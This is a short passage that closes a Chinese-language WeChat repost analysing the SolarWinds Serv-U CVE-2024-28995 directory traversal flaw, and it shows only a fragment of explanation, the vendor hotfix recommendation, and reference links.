),如果不先读取 Serv-U.FileShares
数据库,我们将无法猜出该名称。
补救措施
SolarWinds 已发布修补程序 15.4.2 Hotfix 2 来修补此问题。建议 Serv-U 客户立即应用此修补程序。
有关此修补程序的更多信息可从供应商处获取。
参考资料
-
Vendor advisory
-
Rapid7 blog
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):SolarWinds Serv-U(CVE-2024-28995) 目录遍历漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论